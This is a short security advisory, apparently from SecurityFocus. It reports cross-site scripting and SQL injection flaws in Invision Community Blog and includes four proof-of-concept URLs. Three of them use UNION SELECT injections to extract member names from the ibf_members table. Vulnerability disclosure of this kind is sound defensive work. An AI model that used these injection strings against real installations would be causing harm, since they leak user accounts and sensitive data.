source: http://www.securityfocus.com/bid/13910/info

Multiple input validation vulnerabilities reportedly affect Invision Community Blog. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it to carry out critical actions.

The first issue is a cross-site scripting issue and the second set of issues are SQL injection issues.

An attacker may leverage these issues to carry out cross-site scripting and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. 

SQL Injection
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=replyentry&eid=99%20UNION%20SELECT%201,0,0,name,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=editcomment&eid=1&cid=-99%20UNION%20SELECT%201,0,0,0,0,0,0,0,0,0,0,0,0,name%20FROM%20ibf_members%20WHERE%201/*
http://www.example.com/index.php?automodule=blog&blogid=1&cmd=aboutme&mid=2'